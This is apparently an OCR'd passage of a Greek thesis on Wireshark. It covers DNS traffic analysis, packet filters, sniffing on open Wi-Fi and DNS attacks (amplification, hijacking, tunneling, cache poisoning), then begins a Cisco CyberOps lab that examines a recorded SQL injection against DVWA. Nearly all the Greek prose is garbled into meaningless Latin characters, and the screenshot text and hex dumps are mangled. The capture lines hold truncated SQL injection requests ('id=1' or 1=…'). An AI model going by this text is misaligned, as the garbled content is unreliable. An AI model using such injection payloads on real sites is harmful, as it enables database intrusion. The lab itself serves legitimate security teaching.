
Internet Protocol Version 6, Src: fe8@::1, Dst: feB0::619f:6e34:8cld:3c8d

User Datagram Protocol, Src Port: 53, Dst Port: 51695

Domain Name System (response)

£ >

BPE8 94 53 3@ cl 85 23 a8 82 db 27 @b 57 86 dd G@ @8 -58- -# W7 ~
v

@ 7 phuoiskh.pcapng Packets: 8559 - Displayed: 41 (0.4%) Frofile: Default

Ewkova 29: Query response 0x0002 A www.uth.gr

H source IP, n 61e06vvon MAC xou o apBudg Bvpoc oto query packet eivar mAéov
dtevBuvoelg Tpoopiopov, eved 1 destination IP, 1 d1e06vvon MAC kot o apBudg Bvpag oto
query packet etvau mAéov devbhvoelg mnyng.
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http://www.uth.gr/
http://www.uth.gr/

A

AN ® RE Re=2=F 8= QQQH
| |udp.port==53 [X] -} +
No. Time: Source Destination Protocol  Length Info
]: 6881 184.204121 fteBB::619F:6e34:8cl.. fedd::1 DNS 93 Standard query @x8002 A www.cs.uth.gr
6332 184.232744 fegd::1l fe80::6191:6e34:8cl.. DNS 323 Standard query response @x@@82 A www.cs.uth.gr CNAM

£o03 144 A3ccnc Y S-S T PO R Y nnic 03 Ctondand e MeeBAAT AARAN smme rr kb m

A

]

< >

~ Domain Name System (response)
Transaction ID: @x8062
v Flags: @x818@ Standard query response, No error
... ... = Response: Message is a response
Opcode: Standard query (@)
Authoritative: Server is not an authority for domain
Truncated: Message is not truncated

Recursion desired: Do query recursively

Recursion available: Server can do recursive queries

Z: reserved (8)

Answer authenticated: Answer/authority portion was not authenticated by the server
Non-authenticated data: Unacceptable

Reply code: No error (@)

Ceee e . Baes
Questions: 1
Answer RRs: 2
Authority RRs: 4
Additional RRs: 6
¥ Queries
¥ www.cs.uth.gr: type A, class IN
Name: www.cs.uth.gr
[Name Length: 13]
[Label Count: 4]
Type: A (Host Address) (1)
Class: IN (@xeeal)
¥ Answers
www.cs.uth.gr: type CNAME, class IN, cname cs.uth.gr
cs.uth.gr: type A, class IN, addr 194.177.200.3
Authoritative nameservers
Additional records

Request Tn: 6881 w

<

94 53 3@ cl1 85 23 a8 82 db 27 @b 57 86 dd 6@ @@ 5@ # Tl et ~
2819 @@ 8@ el ed 11 49 fe 50 90 90 0@ 90 @0 °02 09 @9 [2p= cos2200= @

O i ptuxiakh.pcapng Packets: 9559 * Displayed: 41 (0.4%) Profile: Default

Ewkova 30: Flags, Queries and Answers

[Mapanpdvrog ta mopandve amotedécuato PAEmovpe 6L 0 DNS umopel va dayeipiotel ta
avVOOPOUIKA EpOTNLLOTO (TEcursive queries).

Ymv wpdén, otav avalntd tm devbvvon IP tov "cs.uth.gr', o meAdng Bo emkovwvioel
vevikd pe tov tomkd olakoutot] DNS (mov €xel dwopopewbetl otn otoifa IP tov) Yoo va
{nmoet ) devbuvon IP mov avtictoyel oto "cs.uth.gr". Emouévag, o meddng {ntd and tov
tomikd owkopoty DNS va exkteléoel Ol To. amopaitnTo GITHUOTO Yo, AOYOPLUGHO TOL.
Av16 ovopdletar «avadpopukd» epmmua DNS (Notermans, 2017).

O mehdng avarappdvel Eva avadpopkd aitnuo emonpaivoviog £va cuyKeKpévo bit otnv
evotnta emonpovong tov epotnuatog DNS “Recursion desired: Do query recursively”, 6mwmg
eaiveton 610 iyvog Wireshark mopomdve. Xty amdvinon tov, o daxopotig DNS Oa
emPePordoet (1 Oy 6TL vrootpilel ™ cLUTEPIPOPE TOV avadpouKoy gpwtpatog DNS
opifovtag 1o flag "Recursion available: Server can do recursive queries" o€ 1 (¢wg 0).
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(Evotnta 5.2.A) O1dtpapropa maket®v Kata tnv mpoBolArn oto Wireshark

To Wireshark vrootnpilet tov meplopiopd e cOAANYNG TOKETOV GE TAKETO TOV TOPLALOVV
pe éva @idtpo cvAnyme. Ta eiktpa Aqyng Wireshark eivar ypappéva oe yhwooa ¢idtpov
libpcap (Wireshark, n.d.a).

To Wireshark éyet 800 yAwooeg gultpopicpatog: eidtpa Ayng kot eidtpa epedvions. Ta
QIATPO. KOTAYPOPNG YPNOOTOOVVTIOL Y10, QIATPAPIGHO KATA TN ANYTN TOKETOV, EVO TO
eidtpa 006V ypNOoOTO0VVTOL Yo TO PIATPAPIGH TOV TOKETOV oL gppaviCovtat. Ta
eiAtpa 000vNC Gdg emtpémovy Vo EMIKEVTIPMOEITE GTOL TAKETO TOV GG EVOLPEPOLV, EVD
KpOPete Ta emi TOV TAPOVTOG ABLAPOPa. [ Vo EUPAVIGOVE HOVO TOKETO TTOV TEPLEYOLV EVAL
OVYKEKPEVO TPOTOKOAAO, TANKTPOAOYOVUE TO OVOUO TOV TPMOTOKOAAOL OTN YPOUUN
gpyoreimv tov @iktpov eueaviong tov mopabvpov Wireshark ko matmote enter yo va
EQUPUOCETE TO PIATPO, OTTWG KAVAUIE GTO TAPUTAV® TOPASELYUO YPNCLOTOUDVTOS TO PIATPO
“udp.port==53" (Wireshark, n.d.b).

Edv 10 Wireshark exteheitar amopokpovouéva (ypnowywonowwvtog m.y. SSH, éva e&ayouevo
apaBvpo X11, évav TEPUATIKO SLOKOMOTY, K.01), TO OITOUOKPVOUEVO TEPIEXOUEVO TTPETEL VAL
petopepbel pécm tov dwktHov, mpocoHitovtag moAAd (cuviBwg aocnuavIo) TOKETO GTNV
TPAYLOTIKA evOlapEpovcsa Kukhopopia. I'a va amopevybel avtd, to Wireshark mpoorabdei va
KatoAdPel edv eivor amopaxpuouévo (e£eTALOVTOC OPIOUEVES CLYKEKPIUEVEG UETAPANTEG
TepPAAAOVTOC) Kol dnovpyel avtopaTo £va GIATpo ANYNG mov Toupldlel Pe TTUXEG TNG
obvdeong (Wireshark, n.d.a).

Xopig ta @iltpa, o amoteAécpato eppaviCovv diia mokéta, 6nwg DHCP kot ARP. Ano
OUTO TO, TOKETO KOl TIG TANPOQOPIEC TOV TEPEXOVIOL GE OLTO TA TOKETO, UTOPOVUE VO
pdBovpe TANPoPOPies Yo AAAEC GLOKEVEC Kal TIC Aettovpyieg Tovg oto LAN.

(Evotnta 5.2.B) H xpnon tou Wireshark amo attackers

Ta epyodeia Sniffer, Omwg eidape kot omv mpomyoduevn evotnta, elvar gpyoadeio
KOTOYPOPNG TOKETOV TOV UTOPOVV VO VIOKAEWYOLV KOl VO KATOYPAWYOLV TV KLUKAO(QOPI TOV
dwrtvov. To Wireshark Oa cvAAdfer v wvkloeopia kot Bo v amobnkedel, emiong,
UTOPOVUE VO TO YPNOWOTOWGOVUE Yol VO Kotoypdyovpe kwdwkoOs mpocPacns, vo
TPOGOUOIDGOVUE TPMTOKOAAL SIKTOOV, VO LITOKAEWOLLE gvaicOnteg mANpoopieg kot va
TOPOKOAOVONGOLLE TN GuVOIAMN G éva, TOTIKO Kapé oto dwadiktvo (Carey, n.d.).

[Mopakdto Bo dovpe €va mopdderypo pe 10 moOg évag attacker pmopel va mapofidacet éva
dtkTvo. Apyikd, 0¢ EEKIVIIGOVUE e TO AYOTEPO AGPOAES duvaTtd diKTLO, dNANOY| Eva avoLyTd
dikTvo ywpic kpumtoypdonor. Onotocdnmote pmopel TPoPavag va cuvoebel 6to dikTvo Kot
VoL YPNOIULOTOMGEL T cHVOEST 6T0 AladikTvo Ywpic va mapéyel kdmoo password. Avtd Ha
UTOPOVGE VO BAAEL TOV KATOYO TOL SIKTVOV G€ VOIKO Kivouvo edv vrdpéet kdTt Tapdvopo
Kot avyvevbel ot devBvvon IP. Qotdco, vapyet évag dAlog Kivovuvog mov givar Atydtepo
npopavig (HOFFMAN, 2014).
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Ortav éva diktvo dev gtvar KpuTToypaeNUéEVo, 1 Kivnon Ta&dedel EUmpoc Kol Tio® o€ amid
keipevo. Omolooonmote Ppioketar evtdg euPéretog pmopel va YPNOILOTOWCEL AOYIGHKO
KOTOYPOPNG TOKETOV 7OV evepyomolel 10 LVAKO Wi-Fi evdg @opntov vmoAoyiot| kot
ocvAlapPavel To acOppate TokéTa and Tov aépa. Avtd gival yevikd yvmoto o¢ 1 Tomofétnon
™G GVoKELNG o€ "akatdoyetn Asttovpyia” (“promiscuous mode”), KaBmG KaTOYPAPEL OAN
Vv Kovtvi] acvppatn kivnon. O gioBoiéag Ba pmopovoe 6N GuvE ELn Vo EMBE®PNGEL VTA
TO TOKETO Kol vo 0€l TL KAVETE ©T0 Owdiktvo. Omoleodnmote ocvvoéoelc HTTPS 6Oa
npoctatevovTal omd avtd, aAld 6An 1 kivnon HTTP Ba eivar evddwt (HOFFMAN, 2014).

H Google to ékave avtd 6tav anabavdatile dedopéva Wi-Fi pe to poptnyd Street View.
KotéhaPav opopéva mokéto omd avoyrtd diktvo Wi-Fi ko avtd 6o pmopovcav va
neptEyovv gvaictnta dedopéva. Omolocdnmote Ppioketor evtog g eupéreng Tov dktHov
cog pmopel va Kotaypayel avtd to evaicOnta dedopéva. Avtdg eival évag akoun Adyog yuo
vo unv Aetrtovpyeite éva avorytd diktvo Wi-Fi (HOFFMAN, 2014).

Kotd ovvémewn, évag attacker oto LAN pmopei va ypnowonomoel 1o Wireshark yia va
TOPUTNPNOEL TNV Kivion Ttov diktdov Ko umopel var AdPetl gvaicOnteg mAnpopopieg oTIg
AEMTOUEPELEG TOV TAKETOL €AV M) Kivion dev €lvail KPLTTOYPOUPNLLEVT.

(Evotnta 5.2.I") ITBaveg emBeoeig DNS

Mw emiBeon DNS otoyever v vmodoun evog DNS. Ov embéocelg pmopovv va
TPOGOPUOCTOVV EITE GE AVAIPOLIKOVS EITE GE £YKVPOVS OOKOUOTEG. YTTAPYOUV TEGGEPIS
KOPLO1 TVTTOL EMBEGEMY OV Ypnoipomolovy DNS, kdmotlol amd tovg omoiovg Ba avapepBodv

oLVOTTIKG KaBDC Exovv ev pépel kKaAveOeil 6To Kepalato 2 g Tapovoag wruytokng (Taylor,
2021).

DoS, DDoS, and DNS amplification attacks

O emBéoeig dpvnong vampeoiag (DoS) kot embécelc KoTavepumuévng dpvnong vInpeciog
(DDoS) givar 600 popeéc tov 1010V Tpdypatoc. Etval avtd mov oképtovtal o1 TeEPIecOTEPOL
otav oképtovtal pua enifeon DNS. Kot otig 000 mepimtocel, ot e16foleic “nAnupvpilovv”
(flood) Tovg drokooTEG TOL AladIKTHOL e TOGA TOALY CUTHUOTO TOV ATAGL OV UTOPOVV Vo
OTOVTIGOVY GE OAOL KOL TO GUOTNUO KOoTappeel o¢ amotéleopo. Mo anin enifeon DoS
xpnowonotel £vav LIOAOYIOTH Kol [, oOvOeoT 6to AwdikTvo Yot vo KOTOKAVGEL Evav
OTOLOKPVUGUEVO OOKOUIGTY. Agv €ivol TPOUEPE OMOTEAEGUOTIKG GTO VA GLVIPIYOLV T
onueEPVA cvoTpOTO LYNANG YopntikoTnTag (Taylor, 2021).

Ye o eniBeon DDoS, moAloi vmoloyiotég Kot GuVOESELS 0TO J1diKTVLO GTOYEHOLV Evav
1o0t10toMo. YTdpyovv emiong tpelg tomot emBécemv DDoS. Ot embéoeic mpmtokdALoL, OTOV
KOTOGTPEPOVTOL Ol TPOAYULOTIKOL TOPOL VOGS O10KOMGTH 1 AAAOL E0TAMGHOD O1KTOOV, OGS
teiyn mpootaciog (firewalls) ko e&isoppomntég poptiov (load balancers). Ot emBécelg oto
eminedo epappoync (application layer attacks), 6mov yio va dwaxomel o dwaxopotg lotov, o
ewoPforéag otédvel amuoto mov  eaivovtor  afiafr), OAAGL oIV TPOYUOTIKOTNTO
EKUETOAAEDOVTOL Ta TPOTA onueic Tov otdyov. Téhog, ot embécelg flood, o1 omoieg
0TOYEVOLV VO KATOGTNOOLV £vav SOKOMGTH Un O1006G1L0 OTNV TPAYLOTIKY KUKAOQOpia,
«TAN PPV PilovTacy Toug TOPOLG TOL GToYEVOEVOL dtakopioth (Taylor, 2021).
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DNS amplification attacks

M eniBeon evioyvong DNS (DNS amplification attack) sivor évag tomog eniBeong DDoS
omv omoia ot gwPorelg ypnoywomolovy avorytovg otakouioté DNS mpoofdciovg oto
KOwo yia va “mAnppvpicovv” évav otdyo pe kivnon andkpiong DNS (Taylor, 2021).

Avt n eniBeon DDoS eivon po enifeon oyKopeTpikng KataveUnUEVNG APVNONG VINPEGTOG
(DDoS) mov Pociletor oe avtavdkioaon, oty omoia £€vag €cPforéag alomotel ™
AETOVPYIKOTNTO TOV OVOLXTOV aVOALTOYV DNS Tpokelptévou va KoTakAVGEL VoV O10KOULOTY
N éva 01KTLO-6TdY0 pE avENUEVT Kivnor, amodidovTag Tov O1KOUIGTY] Kol oTpdGLTn 1 YOP®
vrodoun tov (Cloudflare, n.d.b).

Olec o1 embBécelc evioyvong eKUETAALEDOVTOL Lo O10LPOPE BTNV KATAVAA®GST €0povg {mvng
peTaEL €vog ewoPoréa Ko Tov otoYeLHEVOL TOpov Iotov. Otav n dweopd 610 KOGTOG
peyefbvetal oe TOAAG ouTHUOTA, O OYKOG TNG KivNomg Tov TPOKLITEL UTopel va dtaTapdiet
TNV LIOJOUTN TOL OIKTVOV. ME TNV AMOGTOAN UIKP®OV EPOTNUATOV TOV 001 YOOV GE UEYAAEG
OmOVTINGCELS, O KoKOPovAog ypnotng umopel va mhper meplocoOTEPO amd  AyOTEPOL.
[ToAomhacialovtag avth T peyéduvon pe 1o va vtoPdiet ke bot oe £va botnet Tapdpola
ornuota, o elforéag amoKAEIETOL GO TOV EVTIOMIGUO KOl OTOKOMILEL TOL OQEAN TNG TOAD
avénuévng emokeyuotnrog enibeonc (Cloudflare, n.d.b).

Q¢ anmotédespa kGOe poumoOT TOV VITOPAAAEL AUTHHOTO Yo VO 0VOIEEL TPOYPALATO ETIAVONG
DNS pe pa Moot oevbvvon IP, n omoia €xel aAldéel oty mpaypotiky oevbvvon IP
TPOEAEVOTC TOV GTOYELVOUEVOL BVUATOC, 0 GTOYOG AAUPAVEL GTN GLVEYELD L0 OTdvINON Ao
tovg emAvtec DNS. Tlpoxewévov va omuiovpynfel peydlog OYKOC €mMOKEYUOTNTOS, O
€1oPoAéag dopel To aitnpa pe TPOTO OV dNUIOVPYEL OGO TO SVVOTOV UEYOAVTEPT] ATOKPIOT
and tovg avoivtég DNS. Qg amotéleopo, o otdyoc AouPdvel por evioyvon g apyikng
kivnong tov ewPoréa Kot 10 diKTLO TOV EPAGGETOL OO TNV YELON KivNnor, TPOKAAMDVTOG
dpvnon e&umnpémong (Cloudflare, n.d.b).

DNS hijacking

H mopapioon dwkopot] ovopdtov topéa (DNS), mov ovopdletor eniong avaxotevfuvon
DNS, etvar évag tomog eniBeong DNS xotd v omoia ta gpotiuata DNS emiddovron
EGPAALEVA TTPOKEEVOD VO 0voKATELOOVOLV APOGOOKNTO TOVG YPNOTEG G KAKOBOLAOVG
wototomove. [ va ektedécovv tnv emifeon, ot dpdoteg eite eykabioTovv KakoOBovAO
AOYIOUIKO GE VITOAOYIGTEG YPNOTOV, £ite avorappdvouy dpoporoyntég eite mapeumodilovv 1
napafialovv v emkowovio DNS. IloAlol mdpoyor vmmpecudv Awdwktvov (ISP)
ypnowonowvv eniong évav tomo DNS hijacking, yuo va avaidfoovv ta outipato DNS evog
YPNOTN, VO GUAAEEOVV GTATICTIKG GTOLYElD KOt VAL EMGTPEYOVY SN IUGELS OTAV O XPTOTES
amoktoOv mpocPacn oe €vav dyvooto topéa. Opiopéves KuPepvioelg ¥pNoYLOToovV TV
DNS hijacking yio Aoyoxpicia, avaxoatevdivoviag Tovg ypNoTeG G€ 1GTOTOTOVS oL Eival
e&ovotlodotnuévot omd v kuPépvnon (Imperva, n.d.e)

Ynrdpyovv téooepig Pacikoi tomor avakatevBuvong DNS. Ilpotn katnyopio amotelel 10
Local DNS hijack, katd v onoia ot ei6folelg eykabiotodv kakdfovio Aoyicpkd Trojan
OTOV VTOAOYIOT €VOG ypnotn kot oAAdlovv 115 tomkég puvBupicelc DNS v va
avakatevdHvouy 1oV PN ot o€ KakOPovAovg 16ToToTOVG. Aghtepog TOHmOG ivarl To Router
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DNS hijack, 6mov moAlol dpoporoyntég €Yovv TPOEMAEYUEVOLS K®OKOVS TTpdSfacng 1
evmdOetec VAKoAoyoHKoV. Ot e16PoAelG umopovv va avaddfovy Evov dpopHoAOYNTH Kot Vol
avtikatactioovv Tig puvbuicelc DNS, emnpedloviog O6Aovg TOLG YPNOTEG TOL  Eivan
ouvoedepévol ae avtdv tov dpoporoynt. Tpitn katnyopio amotedel To Man in the middle
DNS attacks, katd tnv omoia ot gioPoleic mapepmodilovv v emkowvmvia PeTadd evOog
ypNotn kot evog dokoptoty DNS kot mapéyovv dapopetikéc dievboveelg I[P mpoopiopov
mov delyvouv kakdBoviovg totdétomove. Téhog, To Rogue DNS Server, émov ot gioPoieic
UTOPOVV va yakdpovy évav dtakoputot) DNS kot va aAldéovv Tig eyypapés DNS yia va
avakatevfvuvouv artipoto DNS o€ kokoBovAiovg wototomovg (Imperva, n.d.e)

DNS tunneling

To DNS Tunneling givor puo pébodog kvPepvoenifeong mov kmOKomolel o 000UEVL GAL®DY
TPOYPOUUATOV 1 TPpOTOKOA®WV oe gpothuato kol aravtinoelc DNS. To DNS Tunneling
ovyvl TePAOUPAVEL OOEMUO QOPTIOL OEOUEVAOV OV UTOPOVV Vo mpootedovv ce Evav
dwkopiomy DNS mov déyeton emiBeon xor va ypnowomombodv yioa tov €Aeyyo €vOG
OTTOLLOKPVGLUEVOL OOKOMOTH Kot gpapuoymv. Tomkd, to DNS Tunneling amottel amd 10
ToPoPlOcUEVO CUOTNUA VO €YEL GLVOEGIHOTNTA €EMTEPIKOD OIKTVOV, KOOMDG 1 doyETELON
DNS onmoutel mpdsPfacn oe évav ecotepikd dakopot] DNS pe mpoécPaon oto diktvo. Ot
hacker mpémer emiong va eAéyyovv évav Topén Kol €vov OOKOMGT] 7OV UTOpel va
AEITOLPYNOEL OC £€YKLPOC OlOKOUIOTNG TPOKEWEVOL VO EKTEAEGEL TO  EKTEAECIU
TPOYPAUUOTO SLOYETEVONG CNPAYYOS KOl WPEALOV POPTIOV OEO0UEVOV OO TNV TAELPA TOV
dwaxopoty (Infoblox, n.d.).

DNS poisoning and cache poisoning

H onAnmpioon DNS (yvoot) ko o¢ mhactoypaenon DNS) kot 1 dnintnpiacn kpoeng
pviung DNS, ypnopomotodv keva acpaleiog oto mpwtokoiro DNS yia va avakatevfhvovy
™V KukAo@opia Tov AdKTOOL G KOKOBOLAOVE 16TOTOTMOVE. AVTEG UEPIKEG (POPEC
ovoudlovtar embéoelc man-in-the-middle (Taylor, 2021).

To DNS poisoning, eivar évoc tomog eniBeong mAaoctoypdenong katd v omoia ot hacker
VrodvOVTOL (ol GAAN CLOKELY, TEAATN M YPNOTN. AVLTN 1 UETOUPIESN OELKOAVVEL O
GUVEYELD VO KAVETE TPAYUOTO OTMOG 1] VTOKAOTT TPOCTUTEVIEVMV TATPOPOPLDOV 1) 1| S10KOTN
NG KOVOVIKNG poNg ¢ Kukhogopiag totovd (VanVliet, 2021).

Ye o eniBeon DNS cache poisoning, ot hacker aAldlovv éva cvotnuo ovopdtov topéo
(DNS) o¢ éva «mhactoypagnuévon DNS, €161 dote dtav €vag VOUIOG ¥pNoTNG TYOiveL Vo
emoKePTel évav 161dTOMO, AVl Vo TPOGYEIWBEl GTOV TPOOPICUSO TOV, GTNV TPOYUUTIKOTNTA
KOTOANYEL GE £VOV EVTEAMG SPOPETIKO 16TOTOTO. ZuviBme, avtd cvuPaivel ympic kov vo 1o
yvopilovv ot xpnoteg, kabmg o1 YeHTIKOL 16TOTOTOL GLYVA YivovTtal Yio vo. Lotdlovv e Tovg
npaypoticovg (VanVliet, 2021).

MoMg Eekwvnoet n emiBeot, eKTPEMOVTOG TNV KLKAOQOPIO. GTOV TOPAVOUO OLOKOMGTY, Ol
hacker pmopov Gt GLVEYXEWD VO TPOYUATOTOMGOVY KAKOBOVAEG OpaSTNPIOTNTEG, OGS 1oL
emifeon man-in-the-middle (m.y. KAomn aGEAAGY TANPOPOPIOY GHVOESNG Y10 1GTOTOTOVG
tponeldV), £YKATAGTOCT 100 GTOVG VIOAOYICTEG TV EMICKENTMV Y10l VO TPOKUAEGEL GECT)
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a1 akdun Kot Ty €yKatdotoot evog worm yia vo eEamAmBel n {npid o€ dALEC GLOKELES
(VanVliet, 2021).

To DNS poisoning ekpetoAledeton TIC advvVOpies ovtig NG Oladikaciog ywo va
avakatevdvvel TV KukAoopio oe pio mapavourn dtevbvvon IP. Xvykekpéva, ot hacker
amoktovv mpocPacn oe €vav dwakopot] DNS, ®ote vo pmopovdv va Tpocapudcovy Tov
KATAAOYO TOL ®oTE vo Kotevfhvouv To Ovopa TOopED TOL EGAYOVV Ol YPNOTEC OE
dapopetikn, ec@oipuévn devbvvon IP (VanVliet, 2021).

To DNS poisoning gvéyet moALoHS KivdOvoug TG0 Yo Atopa 6GO Kot Yo 0pyovIGHovs. 'Evag
amd TOvg PEYOADTEPOLS KIvOUVOLG Tov oyetilovtal pe to DNS poisoning eivat ott dtov po
ovokevun méoel OO g, €10kd OnAntpioon and kpven pvnun DNS, uropei va yiver moAd
d0oKkoAo va emAvBel To TPOPANU emEWN M GvoKeLn Oa EMOTPEYEL A0 TPOETIAOYT GTOV
wapavopo otdtomo. EmmAéov, umopel va ivon eEanpetikd 60oKoAo vo evTomoTel amd Tovg
YPNOTES, W00iTEPO GE TEPMTMGELS OOV o1 hacker kévovv Tov YebTIKO 16TOTOTO GTOV O0MO10
KaTeELOVLVOLV TNV EMOKEYIUOTNTO VAL LOLALEL GXEOOV TOVOUOIOTVUTIOC LLE TOV TTPOYUOTIKO. €
OVTEG TIC TEPMMTMOELS, Ol XPNOTES fvart BV vo unv €xovv 10€a 6T 0 16TOTOTOG Eival GTNV
TPAYLOTIKOTNTO TAAOTOC Kol Oa €lodyovv evaicOnteg mAnpopopieg Kavovikd ympig va
GULVELOINTOTOOVV OTL €KOBETOLY TOV €0LTO TOVG /KOl TOVG OPYOVIGHOVG TOVLG GE GoPapd
kivduvo (VanVliet, 2021).

(Evotnta 5.2.A) Anotporr), avixveuon Kat petpraopog puag enibeong DNS

Evi to DNS éyet 1otopicd Oewpnbel o €va ageréc movi, pmopet emiong va givor éva
TPOANTTIKO UEPOG MG KAANG oTpatnyikig apvvag o€ Babog. H Gartner, pali pe a&idroyesg
kpatikég vanpeoieg Tov HITA, 6ntwg n NSA, npdopata avayvopioe v ac@drelo DNS o¢
Lotikng onuaciog yo ) Pertioon ™ cuvolkng dupovvog tov dtktvov cag. H évvola tov
npootatevTikov DNS vrmépyer topa yuo vo meprypdyer to DNS wg kpiowwo ywoo v
npootacio and anség diktvov (Taylor, 2021).

IMa apyn, n do@dAion evag dtkTvoL amattel Yvdon tov cuvorov Tov DNS piog emyeipnonc.
2oV, o1 opdadeg OKTVLOL dev dBEToVY TANPTM opatdTNTA YbpN o€ Eva ydog amd DNS silos,
orphaned zones 1 shadow IT. H xataypagn xor m mopokorovdnon eEepyduevov kot
EIGEPYOLEVOV EPOTNUATOV EIVOL TO TPMOTO Prpa Yio TOV EVIOTICUO avopoAdv. Emmiéov, ta
dedopéva  amOKPIoNG GOG TOPEYOLY TANPOPOPIEG GYETIKA HE TA CLUEPOLOUEVE  TOV
EMTPEMOVY Lo, o evoeleyn ovdAvon (Taylor, 2021).

EmmpocOétwe, pmopodpe vo mPooTATEWYOLUE TOVS OVOOPOMKOVS  OKOMIGTEG  omd
avemBountn npoécPacn ko mopafiocon pésow DNSSEC, croyeiov eréyyov mpocPacng Kot
AoV Beltiboemv apyttektovikng. Téhog, kahd Ba eivor va evepyomomcovpe tov EAEYYO
TOVTOTNTOG  TOAAOTAMY — MOPAYOVI®V  GTOV  AOYOPLICUHO  KOTOY®PNTH  TOMED Kot
YPNOYLOTOWGOVLE 10 VINPEGTO KAEWMUOTOG KOTOY®PNTN Yo Vo {NTHGovE TV GOELD TOL
ypnot Tpv odAragovpe tig eyypapéc DNS (Taylor, 2021).

To npdypappa Wireshark pmopet va evtomicel cuykekpipévovg tomovg embécemv, Omws yo

napddetypa, €av vrapyet o DoS attack. Xuvvdéovtag 1o Wireshark kon otig 600 mAgvpéc
€VOG TEYOVG TPOGTAGING, LTOPOVUE VO EVTOTIGOVE O TOKETOL TEPVOVV LE EMLTLYIN OO TN
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OLGKELN KOl VO OVOKOADWOVUE €0V TO TEIXOG MPOoTaciog ivar o Adyog yio mpoPAnuarta
ovvoeoomrog (Carey, n.d.).

5.3 Attacking a mySQL Database

O emBéoerg SQL (Structured Query Language) injection enttpénovy o kKakdfoviovg hacker
va TAnktpoAoyodv dnimoelg SQL og évav otdétomo kot vo Aopfdavovv omdvtnon omd
Baon dedopévav. Avtd emttpénel otovg 10PoAieig va mapapidlovy ta Tpéyovta dedopéva 6T
Baon dedopévav, va TAAGTOYPOPOVV TAVTOTNTES KOl SAPOPES oTacHariec.

IMa va wpaypatonomOei 1 eniBeon, Ba ypnoywonombei to mpdypappo Wireshark, Evav koo
aVOADLTY] TAKETOV OKTOHOL, Yoo va avadvBel v kivnon tov dwktbov. EmumAiéov, emedn Ha
ypnooromBet éva apyeio pcap, o ypnowomombel ko to Virtual Box, yww v
acparéotepn oeaywyn g eniBeong. To apyeio pcap mov Ba ypnoyomomOei, £xer mapbei
and 1o “17.2.6 Lab - Attacking a mySQL Database” and 1o Cisco — CyberOps.

Omndte, apov &yovue avoitel 1o Virtual Box ko €yovpe exkivinoet 1o CyberOps Workstation,
Ba avoifovpe 1o Wireshark, kot 6o poptddcovpe 1o SQL Lab.pcap apyeio. To apycio PCAP
avoiyel péca oto Wireshark xon epgaviCel v xiviion tov 01ktvov mov Katoypdenke. Avtod
10 apyelo Kataypapng ekteiveton oe pa mePiodo 8 Aentmv (441 devtePOAENTMV), TN S1APKELN
avtng ¢ enifeong SQL injection.

i Applications - 4 SQL_Lab.pcap [analyst - File Manager] E Mon 3@ May, B6:83 analyst
‘ SQL_Lah.pcap A - O X
File Edit Vview Go (Capture Analyze Statistics Telephony Wireless Tools Help
dm ® b g/ @ q e Ivl= = & =2 11 ]:[
[ ‘»|< ly a display filter .. <Ctrl-/> '] +
No . Time Source Destination Protoco] Lengtt Info =
21 277.732200 10.@.2.15 18.2.2.4 HTTP 1955 HTTP/1.1 20@ OK (text/html)
22 313.710129 10.0.2.4 18.0.2.15 HTTP 659 GET /dvwa/vulnerabilities/sqli/?id=1%27+or+1%3[
23 313.710277 10.2.2.15 18.0.2.4 TCP 66 82 - 35644 [ACK] Seq=1 Ack=594 Win=236 Len=0 T{
24 313.712414 10.0.2.15 18.9.2.4 HTTP 1954 HTTP/1.1 208 OK (text/html)
25 383.277@32 10.9.2.4 10.92.2.15 HTTP 680 GET /dvwa/vulnerabilities/sqli/?id=1%27+01+1%3[
26 383.277811 10.0.2.15 10.0.2.4 TCP 66 8@ - 35666 [ACK] Seq=1 Ack=615 Win=236 Len=0 T§
27 383.284289 10.2.2.15 10.0.2.4 HTTP 4868 HTTP/1.1 20@ 0K (text/html)
28 441.804070 10.8.2.4 18.2.2.15 HTTP 685 GET /dvwa/vulnerabilities/sqli/?id=1%27+or+1%3[
:|: 20 441.804427 10.9.2.15 10.0.2.4 TCP 66 8@ - 35668 [ACK] Seq=1 Ack=62@ Win=236 Len=0 T¢
30 441.807206 10.@.2.15 18.2.2.4 HTTP 2691 HTTP/1.1 200 OK (text/html) =
4 »
» Frame 3@: 2891 bytes on wire (16728 bits), 2091 bytes captured (16728 bits)
b Ethernet II, Src: PcsCompu_9f:48:a@ (@8:0@:27:9f:48:a@), Dst: PcsCompu_ca:el:24 (B8:88:27:ca:el:24)
v Internet Protocol Version 4, Src: 18.@.2.15, Dst: 10.0.2.4
b Transmission Contrel Protocol, Src Port: 8@, Dst Port: 35668, Seq: 1, Ack: 62@, Len: 2025
» Hypertext Transfer Protocol
b Line-based text data: textshtml (186 lines)
oe0@ 08 @@ 27 ca el 24 @3 @@ 27 9f 48 a@ 08 00 E ee RS ] "H E -
@8 1d d4 57 40 B0 48 @6 46 71 8a 0@ 02 Of 8a @0 we-@ F
@2 04 p@ 5@ 8b 54 a2 2d 91 a8 f@ da e2 f5 80 18 PT -
0@ ec 20 22 B0 00 01 @1 @3 @a 00 02 45 T 00 02 " E
b8 cb 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f HTTP/1 .1 280 O d
Frame (2891 bytes) Uncompressed entity body (6215 bytes)
[ W SQL_Lab.pcap Packets: 3@ - Displayed: 30 (100.8%) Profile: Default

= = oQ I

Ewkova 31: Open SQL_Lab.pcap
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SOpQove e TNV TOPOTive €KOVO, Topatnpovpe 0Tt ot dvo devbiveelg 1P ot omoieg
eumiékovtal oty enibeon SQL injection, givar n IP source “10.0.2.15” ko 1 IP destination

“10.0.2.4”.

2m ovvéxewn, Bo mapaxolovOncovpe v opyn ™S emiBeong. Evtdg g kataypagng
Wireshark, kavte de&i Kk ot ypoupun 13 ko emdé€te Follow > HTTP Stream. H ypapun
13 emAéybnke emedn vmdpyel aitnuo GET HTTP. Avtd Oa eivar moAd ypnoo yur v
napakolovOnon g pong dedopévev kabmg ta emineda TG epoppoyns ™ PAEmovv
odnyet 6N doKun ep®TAATOG Yo TV €veon SQL.

"l Applications - M soL_Lab.pcap [analyst - File Manager] E Mon 3@ May, @6:@8 analyst
‘ SQL Lab.pcap A - O X
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
Am @ BIREBQAQAECD Y KIS EBEa

[ ‘—\;.1'.‘ a display filter <Ctrl- '1 +

No. Time Source Destination Protocol Length Info =
9 ©.015485 10.0.2.15 10.0.2.4 HTTP 3187 HTTP/1.1 200 OK (text/html)
18 ©.015485 10.9.2.4 10.0.2.15 TCP 66 35614 . 8@ [ACK] Seq=1819 Ack=3406 Win=36480 L¢
